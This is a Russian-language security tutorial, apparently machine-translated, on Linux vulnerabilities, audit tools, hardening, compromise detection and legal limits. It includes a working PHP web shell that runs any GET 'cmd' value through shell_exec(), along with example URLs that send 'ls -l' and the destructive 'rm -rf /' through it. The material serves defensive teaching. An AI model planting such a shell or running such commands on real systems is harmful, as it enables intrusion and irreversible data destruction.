Учебное пособие по взлому Linux: Ubuntu Команды и инструменты
⚡ Умное резюме
Взлом Linux — это практика поиска и использования уязвимостей в системах Linux, и на этой странице объясняется, на какие уязвимости нацеливаются злоумышленники, какие инструменты аудита используются и какие средства контроля обеспечивают защиту сервера.
Linux — наиболее широко используемая серверная операционная система, особенно для веб-серверов. Она имеет открытый исходный код, а это значит, что любой может прочитать исходный код. Такая прозрачность работает в обе стороны: разработчики используют её для быстрого поиска и исправления ошибок, а злоумышленники изучают тот же код в поисках уязвимостей для эксплуатации. Взлом Linux — это практика использования этих уязвимостей для получения несанкционированного доступа к системе.
В разделах ниже рассматривается, что такое Linux, какие уязвимости в системе безопасности его затрагивают, а также дается практический опыт взлома с помощью Linux. Ubuntuа также меры противодействия, которые вы можете принять.
Краткое примечание по Linux
Linux — это операционная система с открытым исходным кодом. На её основе построено множество дистрибутивов, включая Red Hat Enterprise LinuxFedora, Debian и UbuntuПоскольку исходный код опубликован, исследователи, поставщики и злоумышленники могут его изучить. Злоумышленники используют этот доступ для поиска уязвимостей, а такая же прозрачность позволяет разработчикам выпускать исправления быстрее, чем это часто удается закрытым платформам. Linux работает как серверная, настольная, планшетная или мобильная операционная система.
Программы Linux можно запускать через графический интерфейс или из командной строки. Работа в командной строке быстрее и точнее, чем работа через графический интерфейс, поэтому специалисты по тестированию безопасности, работающие с такими дистрибутивами, как Linux, считают это преимуществом. Kali Linux Они проводят почти все свое время за терминалом. Поэтому знание основных команд является необходимым практическим условием.
Обратитесь к этому Учебник по Linux для основ и для Kali Linux учебник для ориентированного на безопасность дистрибутива, построенного на их основе.
Распространенные уязвимости безопасности Linux и векторы атак
Атаки на Linux редко используют экзотические эксплойты. Данные телеметрии, опубликованные в 2025 и 2026 годах, показывают, что большинство взломов tracВернемся к небольшому набору повторяющихся слабых мест, и знание их подскажет, куда в первую очередь следует направить усилия по защите.
- Слабые или повторно используемые учетные данные SSH — Попытки подбора паролей методом перебора и украденных учетных данных при использовании SSH-подключений, доступных из интернета, составляют подавляющее большинство случаев враждебной активности, наблюдаемых на устройствах под управлением Linux.
- Неустраненные ошибки ядра и пакетов. — Команда разработчиков ядра Linux стала уполномоченным органом по присвоению номеров CVE в 2024 году, и количество обнаруженных уязвимостей CVE в ядре выросло с примерно 290 в 2023 году до более чем 3,500 в следующем году, поэтому список невыполненных исправлений быстро увеличивается.
- Неправильная конфигурация — Учетные записи по умолчанию, ненужные демоны, файлы с правами записи для всех и разрешительные правила sudo предоставляют привилегии, для получения которых не потребовалось использовать эксплойт.
- Уязвимые веб-приложения — такие недостатки, как SQL-инъекция А межсайтовый скриптинг позволяет злоумышленнику получить доступ к серверу через приложение, а не через операционную систему. Веб-оболочки — это наиболее распространенный вредоносный артефакт, обнаруживаемый на скомпрометированных серверах Linux.
- Ошибки повышения привилегий — локальные уязвимости, которые превращают учетную запись с ограниченными правами в учетную запись root. Некоторые из них оставались незамеченными в ядре более десяти лет, прежде чем были раскрыты.
- Риски, связанные с цепочкой поставок и зависимостью — Сторонние пакеты, языковые библиотеки и образы контейнеров используют код, который никто из оперативной группы не проверял.
Ни один из этих способов не требует от злоумышленника взлома самой Linux. Анализ вторжений 2025 года показал, что примерно в четырех из пяти случаев не использовалось никакого вредоносного ПО, а вместо этого злоумышленники полагались на неправильную конфигурацию и украденные учетные данные.
Инструменты взлома Linux
Специалисты по безопасности и системные администраторы используют одни и те же сканеры: с одной стороны, чтобы обнаружить уязвимости до того, как их обнаружит злоумышленник, с другой — чтобы убедиться в эффективности исправлений. Ниже перечислены инструменты, наиболее часто используемые для аудита Linux-хостинга.
| Инструмент | Тип | Лицензия | Типичное использование в Linux |
| Nessus | Сканер уязвимостей | Коммерческий интерьер | Проверяет параметры конфигурации, отсутствующие обновления и сетевые службы в различных средах. |
| Nmap | сканер сети и портов | Открытый исходный код | Определяет хосты, работающие на сервере, предоставляемые ими службы и открытые порты. |
| Lynis | Аудит и усиление безопасности хоста | Открытый исходный код | Проводит аудит работающей системы на соответствие нормативным требованиям безопасности и составляет отчет о конкретных шагах по устранению выявленных проблем. |
| OpenVAS | Сканер уязвимостей | Открытый исходный код | Сканирование уязвимостей сети, поддерживаемое компанией Greenbone в рамках версии Community Edition. |
Этот список не является исчерпывающим; он дает представление об инструментах, доступных для аудита. Ubuntu и других системах Linux. В старых руководствах по-прежнему рекомендуют SARA, Security Auditor's Research Assistant, но его последний релиз датируется 2009 годом, а сайт проекта недоступен, поэтому Lynis и другие подобные программы могут быть использованы. OpenVAS являются поддерживаемыми альтернативами.
Хакерская деятельность: Взломать Ubuntu Система Linux с использованием PHP
В этом практическом примере мы рассмотрим, как можно получить доступ к хосту Linux через веб-приложение, используя PHP в качестве примера. В качестве цели не будет использоваться реальная жертва. Если вы хотите попробовать, установите LAMPP, сборку XAMPP для Linux, на свой компьютер.
PHP В состав системы входят две функции, которые можно использовать для выполнения команд операционной системы: exec() и shell_exec(). Функция exec() возвращает последнюю строку вывода команды, а shell_exec() возвращает весь результат команды в виде строки.
Для наглядности предположим, что злоумышленнику удалось загрузить следующий файл на веб-сервер.
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
ВОТ,
Приведённый выше скрипт получает команду из переменной GET с именем cmd. Команда выполняется с помощью функции shell_exec(), и результат отображается в браузере.
Приведённый выше код можно использовать для взлома, применяя следующие методы. URL
http://localhost/cp/konsole.php?cmd=ls%20-l
ВОТ,
- Команда “…konsole.php?cmd=ls%20-l” присваивает переменной cmd значение ls –l.
Команда на Ubuntu Таким образом, сервер выполняется следующим образом
shell_exec('ls -l') ;
Выполнение приведенного выше кода на веб-сервере дает результат, аналогичный следующему.
В результате выполнения программы просто отображаются файлы в текущем каталоге и их права доступа.
Теперь предположим, что злоумышленник передаст вместо этого следующую команду.
rm -rf /
ВОТ,
- Команда «rm» удаляет файлы.
- Параметр “rf” запускает команду rm в рекурсивном режиме, удаляя все папки и файлы.
- Символ «/» указывает команде начать удаление с корневого каталога.
Атака URL будет выглядеть примерно так
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
Таким образом, одного непроверенного параметра достаточно, чтобы предоставить злоумышленнику любые привилегии, которыми обладает учетная запись веб-сервера. Два следующих раздела призваны предотвратить это и выявить подобные случаи, когда меры предотвращения оказываются неэффективными.
Как предотвратить взломы Linux
Взлом Linux использует уязвимости операционной системы и программного обеспечения, работающего поверх неё. Для устранения большинства описанных выше уязвимостей организация может принять следующие меры контроля, применяя их в совокупности.
- Управление патчами — Патчи исправляют ошибки, которые злоумышленники используют для компрометации системы. Четко определенная политика гарантирует своевременное применение соответствующих обновлений, а не тогда, когда кто-то об этом вспомнит.
- Правильная конфигурация ОС — Отключить неактивные учетные записи пользователей и ненужные демоны. Изменить настройки по умолчанию, включая имена пользователей по умолчанию, пароли общих приложений и номера портов по умолчанию.
- Усиление безопасности SSH — Отключить вход в систему от имени root и аутентификацию по паролю, разрешить доступ только именованным пользователям или группам и ограничить количество повторных попыток аутентификации. Это закрывает наиболее уязвимую точку входа в Linux.
- Наименьшие привилегии — Предоставлять учетным записям и службам только необходимые права и ограничивать использование sudo для выполнения определенных команд вместо предоставления общего административного доступа.
- Обязательный контроль доступа — использовать SELinux (семейство Red Hat) или AppArmor (Debian и другие дистрибутивы). Ubuntu) в режиме принудительного применения, чтобы скомпрометированный сервис не мог получить доступ к остальной части системы.
- Проверка ввода — Приведенная выше демонстрация работает только потому, что данные запроса поступают в функцию оболочки. Никогда не передавайте ввод пользователя в функции exec() или shell_exec().
- Межсетевые экраны и сегментация — Открывать только те порты, которые действительно необходимы сервису, используя брандмауэр а также сегментацию сети для ограничения доступа, который может получить скомпрометированный хост.
- Системы обнаружения вторжений — Такие инструменты могут использоваться для обнаружения несанкционированного доступа к системе, а некоторые из них также могут блокировать попытку доступа.
- Протестированные резервные копии — Автономные восстанавливаемые резервные копии превращают деструктивную команду, подобную приведенной выше, в сбой, а не в безвозвратную потерю данных.
Как обнаружить скомпрометированную систему Linux
Профилактика в конечном итоге терпит неудачу, поэтому второй вопрос заключается в том, как быстро вы это заметите. Обнаружение в Linux зависит от сбора необходимых доказательств до инцидента, а не после него.
- Ведение журнала аудита — Система аудита ядра, auditd, записывает использование привилегий, доступ к файлам и системные вызовы в форме, которую скомпрометированный процесс не сможет незаметно перезаписать. Пересылайте эти журналы с хоста на центральный сборщик.
- Журналы аутентификации — Серия неудачных попыток, за которой следует одна успешная попытка в файлах /var/log/auth.log или /var/log/secure, — это классическая сигнатура для перебора паролей.
- Неожиданные процессы и связи — Служба прослушивания или исходящее соединение, происхождение которых никто не может объяснить, заслуживает немедленного расследования.
- Контроль целостности файлов — инструменты, которые хешируют системные двоичные файлы и файлы конфигурации, чтобы отметить изменения в файлах, которые никогда не должны изменяться.
- Запланированные задачи и элементы запуска — Обычно сохранение состояния осуществляется с помощью заданий cron, модулей systemd или скриптов профилирования оболочки.
- Новые или измененные учетные записи — Обратите внимание на незнакомых пользователей, любые вторые учетные записи с UID 0 и SSH-ключи, которые никто не добавлял.
- каталоги веб-сервера — Поскольку веб-оболочки являются наиболее распространенными вредоносными файлами, обнаруживаемыми на серверах Linux, неожиданные скриптовые файлы в корневом каталоге веб-сервера заслуживают пристального внимания.
- Плановые проверки — Запускайте инструмент аудита хоста, например Lynis, по расписанию и рассматривайте каждый отчет как список задач, а не как разовое мероприятие.
Если вы обнаружите признаки взлома, изолируйте хост, сохраните журналы и образ диска, прежде чем что-либо менять, и восстановите систему с заведомо исправного носителя, а не пытайтесь очистить работающую систему. Обработка доказательств описана в соответствующем разделе. цифровая судебная экспертиза.
Правовые и этические границы взлома Linux
Все описанные на этой странице методы разрешено применять на системах, которыми вы владеете или на тестирование которых у вас есть письменное разрешение, и они незаконны практически везде в других местах. Упражнение, описанное выше, намеренно выполняется на локальной установке именно по этой причине.
- Письменное разрешение — Подписанное описание области тестирования, согласованное окно тестирования и указание контактного лица — вот что отличает тестирование на проникновение от атаки. Устного согласия недостаточно.
- Оставайтесь в пределах заданной области. — Хосты, диапазоны адресов и методы, не указанные в списке, не допускаются, даже если они доступны.
- Обращайтесь с данными бережно. — Собранные в ходе проверки доказательства по-прежнему содержат реальные персональные данные и должны храниться в безопасном месте, а затем уничтожены.
- Сообщайте ответственно — Сообщите о результатах проверки владельцу и дайте время на исправление, прежде чем что-либо публиковать.
Юридические риски реальны: несанкционированный доступ к компьютерной системе является уголовным преступлением в соответствии с такими законами, как Закон США о компьютерном мошенничестве и злоупотреблениях и Закон Великобритании о неправомерном использовании компьютеров. Если вы хотите построить карьеру, опираясь на эти навыки, выберите признанный путь — сертификат безопасности плюс собственная лаборатория, а не чужой сервер.


